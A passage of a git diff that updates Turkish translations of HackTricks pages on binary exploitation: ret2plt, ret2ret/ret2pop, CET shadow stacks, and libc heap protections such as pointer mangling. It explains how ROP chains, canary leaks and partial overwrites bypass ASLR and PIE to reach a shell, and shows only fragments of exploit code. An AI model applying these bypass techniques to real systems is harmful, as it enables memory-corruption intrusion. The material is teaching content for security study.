adresini tam olarak içereceği için geçerlidir. -Ayrıca, exploit içinde `main`in adresinin kullanıldığına dikkat edin, böylece `puts` işlemini bitirdiğinde, **binary çıkış yapmak yerine `main`i tekrar çağırır** (bu nedenle sızdırılan adres geçerli olmaya devam eder). +Ayrıca, sömürüde `main` adresinin nasıl kullanıldığına dikkat edin, böylece `puts` işlemini bitirdiğinde, **binary çıkış yapmak yerine tekrar `main`'i çağırır** (bu nedenle sızdırılan adres geçerli olmaya devam eder). {% hint style="danger" %} -Bu işlem için çalışması için **binary'nin PIE ile derlenmemiş olması** veya PLT, GOT ve main adreslerini bilmek için **PIE'yi atlatmak için bir sızıntı bulmuş olmanız** gerekir. Aksi takdirde, önce PIE'yi atlatmanız gerekir. +Bu işin çalışması için, **binary'nin PIE ile derlenmemiş olması** veya PLT, GOT ve main adreslerini bilmek için **PIE'yi atlamak için bir sızıntı bulmuş olmanız** gerekir. Aksi takdirde, önce PIE'yi atlamalısınız. {% endhint %} -Bu atlatmanın [**tam örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Bu, o **örneğin** son exploit'iydi: +Bu atlamayı [**burada tam bir örnekte bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Bu, o **örneğin** son sömürüsüydü: ```python from pwn import * @@ -84,6 +70,6 @@ p.interactive() ## Diğer örnekler ve Referanslar * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) -* 64 bit, ASLR etkin ancak PIE yok, ilk adım, bir taşma oluşturarak canary'nin 0x00 baytına kadar doldurulması ve ardından puts'u çağırarak sızdırmaktır. Canary ile puts'u çağırmak için ROP cihazı oluşturulur ve GOT'tan puts adresini sızdırmak için bir ROP cihazı ve `system('/bin/sh')` çağırmak için bir ROP cihazı oluşturulur. +* 64 bit, ASLR etkin ancak PIE yok, ilk adım canary'nin 0x00 byte'ına kadar taşma doldurmak ve ardından puts'u çağırarak sızdırmaktır. Canary ile puts'u çağırmak için ROP cihazı oluşturulur ve GOT'tan puts adresini sızdırmak için bir ROP cihazı ve `system('/bin/sh')` çağırmak için bir ROP cihazı kullanılır. * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) -* 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonundan yığın taşması. Puts'u çağırmak için ROP cihazı oluşturarak GOT'tan puts adresini sızdırmak ve ardından bir tane cihazı çağırmak için. +* 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonundan yığın taşması. Puts'u çağırmak için ROP cihazı kullanarak GOT'tan puts adresini sızdırmak ve ardından bir tek cihazı çağırmak. diff --git a/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md b/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md index 6dc57817e..8198c1781 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md @@ -1,57 +1,59 @@ # Ret2ret & Ret2pop +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Ret2ret -Bu teknikteki ana **amaç**, **ASLR'yi atlayarak yığın içindeki mevcut bir işaretçiyi kötüye kullanmaktır**. +Bu teknikteki ana **amaç**, **mevcut bir işaretçiyi kötüye kullanarak ASLR'yi atlamaya çalışmaktır**. -Temelde, yığın taşmaları genellikle dizilerden kaynaklanır ve bellekte **diziler sonunda bir nul bayt ile biter**. Bu, yığında zaten var olan bir işaretçinin işaret ettiği yeri azaltmaya çalışma olanağı sağlar. Dolayısıyla, eğer yığın `0xbfffffdd` içeriyorsa, bu taşma onu `0xbfffff00`'e dönüştürebilir (son sıfır baytına dikkat edin). +Temelde, yığın taşmaları genellikle dizilerden kaynaklanır ve **diziler bellekte sonunda bir nul bayt ile biter**. Bu, yığında zaten mevcut olan bir işaretçinin gösterdiği yeri azaltmaya çalışma olanağı sağlar. Dolayısıyla, eğer yığın `0xbfffffdd` içeriyorsa, bu taşma onu `0xbfffff00`'e dönüştürebilir (son sıfır baytına dikkat edin). -Eğer bu adres yığındaki shellcode'umuza işaret ediyorsa, akışın bu adrese ulaşmasını sağlamak için **`ret` komutuna adresler ekleyerek** bu adrese ulaşılabilir. +Eğer o adres yığında shellcode'umuza işaret ediyorsa, akışın o adrese ulaşmasını sağlamak için **`ret` komutuna adresler ekleyerek** bu adrese ulaşılabilir. Bu nedenle saldırı şu şekilde olacaktır: -* NOP kaydırıcı +* NOP kaydırıcısı * Shellcode -* Yığını EIP'den **`ret` adreslerine (RET kaydırıcı) kadar üzerine yazın** -* Yığını değiştirerek bir adresi **NOP kaydırıcısına işaret edecek şekilde 0x00 ekleyin** +* Yığını EIP'den **`ret` adreslerine kadar üzerine yazın** (RET kaydırıcısı) +* Yığını değiştirerek bir adresi **0x00** ile ekleyerek (yığınındaki bir adresi NOP kaydırıcısına işaret edecek şekilde değiştirerek) -[**Bu bağlantıyı**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) tıklayarak savunmasız bir ikili örneğini ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) saldırıyı görebilirsiniz. +[**Bu bağlantıyı takip ederek**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) savunmasız bir ikili örneğini ve [**bu bağlantıdaki**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) saldırıyı görebilirsiniz. ## Ret2pop -Eğer **değiştirmek istemediğiniz yığındaki mükemmel bir işaretçi bulabilirseniz** (`ret2ret`te en düşük baytı `0x00` ile değiştirdik), aynı `ret2ret` saldırısını gerçekleştirebilirsiniz, ancak **RET kaydırıcının uzunluğu 1 azaltılmalıdır** (böylece son `0x00` veriye işaret eden mükemmel işaretçiden önceki veriyi üzerine yazar), ve **RET kaydırıcının son** adresi **`pop ; ret`'ye işaret etmelidir**.\ +Eğer **değiştirmek istemediğiniz yığında mükemmel bir işaretçi bulabilirseniz** (`ret2ret`te en düşük baytı `0x00` ile değiştirdik), aynı `ret2ret` saldırısını gerçekleştirebilirsiniz, ancak **RET kaydırıcısının uzunluğu 1 azaltılmalıdır** (böylece son `0x00` mükemmel işaretçiden önceki veriyi üzerine yazar), ve **RET kaydırıcısının son** adresi **`pop ; ret`'ye işaret etmelidir**.\ Bu şekilde, **mükemmel işaretçiden önceki veri** yığından kaldırılacaktır (bu, `0x00` tarafından etkilenen veridir) ve **son `ret` mükemmel adrese işaret edecektir** ve yığında herhangi bir değişiklik olmadan. -[**Bu bağlantıyı**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) tıklayarak savunmasız bir ikili örneğini ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) saldırıyı görebilirsiniz. +[**Bu bağlantıyı takip ederek**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) savunmasız bir ikili örneğini ve [**bu bağlantıdaki**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) saldırıyı görebilirsiniz. ## Referanslar * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md) +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md b/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md index 2e984db31..45957cf4d 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -1,35 +1,51 @@ # CET ve Shadow Stack +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak **HackTricks** ve **HackTricks Cloud** github depolarına PR gönderin.
+{% endhint %} ## Kontrol Akışı Uygulama Teknolojisi (CET) -**CET**, **Dönüşe Yönelik Programlama (ROP)** ve **Atlamaya Yönelik Programlama (JOP)** gibi yaygın kontrol akışı ele geçirme saldırılarını engellemek amacıyla donanım düzeyinde uygulanan bir güvenlik özelliğidir. Bu tür saldırılar, bir programın yürütme akışını manipüle ederek kötü amaçlı kodu yürütmek veya zararsız kod parçalarını bir araya getirerek kötü amaçlı bir eylem gerçekleştirmek için kullanılır. +**CET**, yaygın kontrol akışı ele geçirme saldırılarını engellemek amacıyla donanım düzeyinde uygulanan bir güvenlik özelliğidir. Bu tür saldırılar, **Return-Oriented Programming (ROP)** ve **Jump-Oriented Programming (JOP)** gibi yaygın kontrol akışı ele geçirme saldırılarını engellemek için tasarlanmıştır. Bu tür saldırılar, bir programın yürütme akışını manipüle ederek kötü amaçlı kodu yürütmek veya zararsız kod parçalarını bir araya getirerek kötü amaçlı bir eylem gerçekleştirmek için kullanılır. -CET, **Dolaylı Dalış İzleme (IBT)** ve **Shadow Stack** olmak üzere iki ana özellik sunar. +CET, **Dolaylı Dalga İzleme (IBT)** ve **Shadow Stack** olmak üzere iki ana özellik tanıtır. -* **IBT**, dolaylı sıçramaların ve çağrıların yalnızca geçerli hedeflere yapıldığından emin olur. Bu, geçerli hedefleri belirleyen yeni bir talimat setinin kullanımıyla gerçekleştirilir, böylece saldırganların kontrol akışını keyfi konumlara yönlendirmesini engeller. -* **Shadow Stack**, dönüş adresleri için bütünlük sağlayan bir mekanizmadır. Normal çağrı yığınından ayrı, güvenli ve gizli bir dönüş adresi kopyasını tutar. Bir işlev döndüğünde, dönüş adresi shadow stack'te saklanan değerle karşılaştırılarak doğrulanır, bu da saldırganların kontrol akışını ele geçirmek için yığında dönüş adreslerini üzerine yazmasını engeller. +* **IBT**, dolaylı sıçramaların ve çağrıların geçerli hedeflere yapıldığından emin olur. Dolaylı dallanmalar için geçerli hedefler olarak açıkça işaretlenen bir yeni komut seti kullanılarak bu sağlanır, böylece saldırganların kontrol akışını keyfi konumlara yönlendirmesini engeller. +* **Shadow Stack**, dönüş adresleri için bütünlük sağlayan bir mekanizmadır. Dönüş adreslerinin güvenli, gizli bir kopyasını düzenli çağrı yığınından ayrı olarak tutar. Bir işlev döndüğünde, dönüş adresi shadow stack ile karşılaştırılarak doğrulanır, bu da saldırganların kontrol akışını ele geçirmek için yığında dönüş adreslerini üzerine yazmasını engeller. ## Shadow Stack -**Shadow stack**, **yalnızca dönüş adreslerini depolamak için kullanılan özel bir yığın**tır. Normal yığınla birlikte çalışır ancak korunur ve normal program yürütmesinden gizlenir, bu da saldırganların müdahale etmesini zorlaştırır. Shadow stack'in temel amacı, dönüş adreslerinde yapılan herhangi bir değişikliğin kullanılmadan önce tespit edilmesini sağlamaktır, bu da ROP saldırılarını etkili bir şekilde azaltır. +**Shadow stack**, **yalnızca dönüş adreslerini depolamak için kullanılan özel bir yığın**tır. Normal yığınla birlikte çalışır ancak normal program yürütmesinden korunur ve gizlidir, bu da saldırganların müdahale etmesini zorlaştırır. Shadow stack'in temel amacı, dönüş adreslerinde yapılan herhangi bir değişikliğin kullanılmadan önce tespit edilmesini sağlamaktır, bu da ROP saldırılarını etkili bir şekilde azaltır. ## CET ve Shadow Stack Nasıl Saldırıları Önler -**ROP ve JOP saldırıları**, bir uygulamanın kontrol akışını ele geçirme yeteneğine dayanır ve onları yığında işaretçileri veya dönüş adreslerini üzerine yazmalarına izin veren zayıflıkları kullanarak yürütme akışını ele geçirir. Var olan kod parçaları veya dönüşe yönelik programlama parçaları dizilerine yönlendirerek saldırganlar keyfi kodu yürütebilir. +**ROP ve JOP saldırıları**, bir uygulamanın kontrol akışını ele geçirme yeteneğine dayanır ve onlara, yığında işaretçileri veya dönüş adreslerini üzerine yazmalarına izin veren zayıflıkları kullanarak kötü amaçlı kodları yürütmelerini sağlar. Varolan kod parçaları veya return-oriented programming parçaları üzerine yönlendirerek saldırganlar keyfi kodları yürütebilirler. -* **CET'in IBT** özelliği, dolaylı sıçramaların yalnızca açıkça geçerli hedeflere sıçramasını sağlayarak bu saldırıları önemli ölçüde zorlaştırır. Bu, saldırganların ikili dosya üzerine yayılmış keyfi parçaları yürütmesini imkansız hale getirir. -* **Shadow stack** ise, saldırganın normal yığında bir dönüş adresini üzerine yazabilse bile, işlevden dönerken, bozulmuş adresin shadow stack'te saklanan güvenli kopya ile karşılaştırıldığında **uyumsuzluk tespit edilecektir**. Adresler eşleşmezse, program saldırının başarısız olmasını sağlamak için sonlandırılabilir veya diğer güvenlik önlemleri alınabilir. +* **CET'in IBT** özelliği, dolaylı dallanmaların yalnızca açıkça geçerli hedeflere sıçramasını sağlayarak bu saldırıları önemli ölçüde zorlaştırır. Bu, saldırganların ikili dosya üzerine yayılmış keyfi parçaları yürütmesini imkansız hale getirir. +* **Shadow stack** ise, saldırganın normal yığında bir dönüş adresini üzerine yazabilse bile, bir işlevden dönerken bozulmuş adresi shadow stack'te saklanan güvenli kopya ile karşılaştırıldığında **uyumsuzluk tespit edilecektir**. Adresler eşleşmiyorsa, program saldırının başarısız olmasını önlemek için sonlandırılabilir veya diğer güvenlik önlemleri alınabilir. + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks'i Destekleyin + +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak **HackTricks** ve **HackTricks Cloud** github depolarına PR gönderin. + +
+{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md index 96bc512a1..205ed7fa9 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md @@ -1,26 +1,27 @@ # Libc Korumaları +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Parça Hizalaması Zorlaması -**Malloc**, belleği **8 bayt (32 bit) veya 16 bayt (64 bit) gruplarında** ayırır. Bu, 32 bit sistemlerde parçaların sonunun **0x8** ile, 64 bit sistemlerde ise **0x0** ile hizalanması gerektiği anlamına gelir. Güvenlik özelliği, bir kutudan bir işaretçi kullanmadan önce her parçanın bu belirli konumlarda **doğru şekilde hizalandığını** kontrol eder. +**Malloc**, belleği **8 bayt (32-bit) veya 16 bayt (64-bit) gruplarında** ayırır. Bu, 32-bit sistemlerde parçaların sonunun **0x8** ile, 64-bit sistemlerde ise **0x0** ile hizalanması gerektiği anlamına gelir. Güvenlik özelliği, bir bin'den bir işaretçi kullanmadan önce her parçanın bu belirli konumlarda **doğru şekilde hizalandığını** kontrol eder. ### Güvenlik Avantajları -64 bit sistemlerde parça hizalamasının zorunlu olması, Malloc'un güvenliğini önemli ölçüde artırır çünkü sahte parçaların yerleştirilmesini sadece **her 16 adresin 1'inde** sınırlar. Bu, özellikle kullanıcının giriş değerleri üzerinde sınırlı kontrolü olduğu senaryolarda saldırıları daha karmaşık ve başarılı bir şekilde gerçekleştirmeyi zorlaştırır. +64-bit sistemlerde parça hizalamasının zorunlu olması, Malloc'ın güvenliğini önemli ölçüde artırır çünkü **sahte parçaların yerleştirilmesini sadece her 16 adresin birine** sınırlar. Bu, özellikle kullanıcının giriş değerleri üzerinde sınırlı kontrolü olduğu senaryolarda saldırıları daha karmaşık ve başarılı bir şekilde gerçekleştirmeyi zorlaştırır. * **\_\_malloc\_hook Üzerindeki Fastbin Saldırısı** @@ -28,7 +29,7 @@ Malloc'daki yeni hizalama kuralları, `__malloc_hook`'u içeren klasik bir sald ## Fastbin ve tcache Üzerinde İşaretçi Karıştırma -**İşaretçi Karıştırma**, bellek yönetimi işlemlerinde **fastbin ve tcache Fd işaretçilerini korumak için kullanılan bir güvenlik artışıdır**. Bu teknik, sızdırılmış bellek bilgilerini gerektirmeyen veya bilinen konumlara doğrudan bellek konumlarını manipüle eden belirli türde bellek sömürü taktiklerini önlemeye yardımcı olur (göreceli **üzerine yazmalar**). +**İşaretçi Karıştırma**, bellek yönetimi işlemlerinde **fastbin ve tcache Fd işaretçilerini** korumak için kullanılan bir güvenlik artırmasıdır. Bu teknik, sızdırılmış bellek bilgisi gerektirmeyen veya bilinen konumlara doğrudan bağlı bellek konumlarını manipüle eden belirli türdeki bellek sömürü taktiklerini önlemeye yardımcı olur (**bağıl **üzerine yazmalar). Bu tekniğin çekirdeği bir karıştırma formülüdür: @@ -37,20 +38,20 @@ Bu tekniğin çekirdeği bir karıştırma formülüdür: * **L**, işaretçinin **Depolama Konumu**'dur. * **P**, gerçek **fastbin/tcache Fd İşaretçisi**'dir. -Depolama konumunun (L) XOR işleminden önce 12 bit sağa kaydırılmasının nedeni kritiktir. Bu manipülasyon, bellek adreslerinin en az anlamlı 12 bitinin belirlenmiş doğasıyla ilgili bir zayıflığı ele alır. Bitleri kaydırarak, tahmin edilebilir kısmın denklem dışına çıkarılması, yeni, karışık işaretçinin rastgeleliğini artırır ve bu sayede bu bitlerin tahmin edilebilirliğine dayanan saldırılara karşı koruma sağlar. +Depolama konumunun (L) XOR işleminden önce 12 bit sağa kaydırılmasının nedeni kritiktir. Bu manipülasyon, bellek adreslerinin en az anlamlı 12 bitinin belirlenmiş doğasıyla ilgili bir zafiyeti ele alır. Bu bitler genellikle sistem mimarisi kısıtlamaları nedeniyle tahmin edilebilir olduğundan, bitleri kaydırarak, tahmin edilebilir kısmın denklem dışına çıkarılması, yeni, karışık işaretçinin rastgeleliğini artırır ve böylece bu bitlerin tahmin edilebilirliğine dayanan saldırılara karşı koruma sağlar. Bu karışık işaretçi, programların kullandığı adresleri rastgele hale getiren **Adres Alanı Düzeni Rastgeleleştirme (ASLR)** tarafından sağlanan mevcut rastgeleliği kullanır. -İşaretçiyi orijinal adresi almak için **karıştırma işlemi** aynı XOR işlemi kullanılarak gerçekleştirilir. Burada, karışık işaretçi formülde P olarak işlem görür ve değişmeyen depolama konumu (L) ile XOR işlemine tabi tutulduğunda orijinal işaretçi ortaya çıkar. Bu karıştırma ve çözme simetrisi, sistemin bellek işaretçilerini etkili bir şekilde kodlamasına ve kodlamasına olanak tanırken, bellek işaretçilerini manipüle eden saldırılara karşı güvenliği önemli ölçüde artırır. +İşaretçiyi orijinal adresi almak için **karıştırma** işlemi, aynı XOR işlemi kullanılarak yapılır. Burada, karışık işaretçi formülde P olarak işlem görür ve değişmeyen depolama konumu (L) ile XOR işlemine tabi tutulduğunda orijinal işaretçi ortaya çıkar. Bu karıştırma ve çözme simetrisi, sistemin bellek işaretçilerini etkin bir şekilde kodlamasına ve kodlamasına olanak tanırken, bellek işaretçilerini manipüle eden saldırılara karşı güvenliği önemli ölçüde artırır. ### Güvenlik Avantajları -İşaretçi karıştırma, heap yönetiminde **kısmi ve tam işaretçi üzerine yazmaları önlemeyi amaçlar**, güvenlik açısından önemli bir artış sağlar. Bu özellik, sömürü tekniklerini birkaç şekilde etkiler: +İşaretçi karıştırma, heap yönetiminde **kısmi ve tam işaretçi üzerine yazmaları önlemeyi** amaçlar ve bu, güvenlik açısından önemli bir gelişmedir. Bu özellik, sömürü tekniklerini birkaç şekilde etkiler: -1. **Bye Byte Göreceli Üzerine Yazmaların Önlenmesi**: Önceden, saldırganlar, **kesin adresleri bilmeden** heap parçalarını farklı konumlara yönlendirmek için işaretçinin bir kısmını değiştirebilirdi, bu teknik, sızıntısız **House of Roman** sömürüsünde açıkça görülebilir. İşaretçi karıştırma ile, bu tür göreceli üzerine yazmalar **bir heap sızıntısı olmadan artık kaba kuvvet gerektirir**, başarılı olma olasılıklarını büyük ölçüde azaltır. -2. **Tcache Bin/Fastbin Saldırılarının Zorlaştırılması**: Fastbin veya tcache girişlerini manipüle ederek işlev işaretçilerini (örneğin, `__malloc_hook`) üzerine yazan yaygın saldırılar engellenir. Örneğin, bir saldırı, bir LibC adresi sızdırmayı, bir parçayı tcache binine serbest bırakmayı ve ardından Fd işaretçisini `__malloc_hook`'a yönlendirmek için üzerine yazmayı içerebilir. İşaretçi karıştırma ile, bu işaretçilerin doğru şekilde karıştırılması gerekmektedir, **doğru manipülasyon için bir heap sızıntısı gerektirir**, böylece sömürü engeli yükseltilir. -3. **Heap Sızıntıları İçin Heap Sızıntıları Gerekliliği**: Sahte bir parça oluşturmak artık heap sızıntısı gerektiren non-heap alanlarda (örneğin, yığın, .bss bölümü veya PLT/GOT) da **gereklidir**. Bu, bu alanların sömürülmesinin karmaşıklığını artırır, LibC adreslerini manipüle etme gereksinimi gibi. -4. **Heap Adreslerinin Sızdırılması Daha Zor Hale Gelir**: İşaretçi karıştırma, fastbin ve tcache kutularındaki Fd işaretçilerinin heap adres sızıntıları için kullanışlılığını kısıtlar. Bununla birlikte, sıralanmamış, küçük ve büyük kutulardaki işaretçiler karıştırılmamış olarak kalır, bu nedenle hala adres sızıntıları için kullanılabilirler. Bu değişiklik, saldırganları bu kutularda sömürülebilir bilgileri keşfetmeye zorlar, ancak bazı teknikler hala bir sızıntıdan önce işaretçilerin çözülmesine izin verebilir, ancak kısıtlamalarla. +1. **Bye Byte Bağıl Üzerine Yazmaların Önlenmesi**: 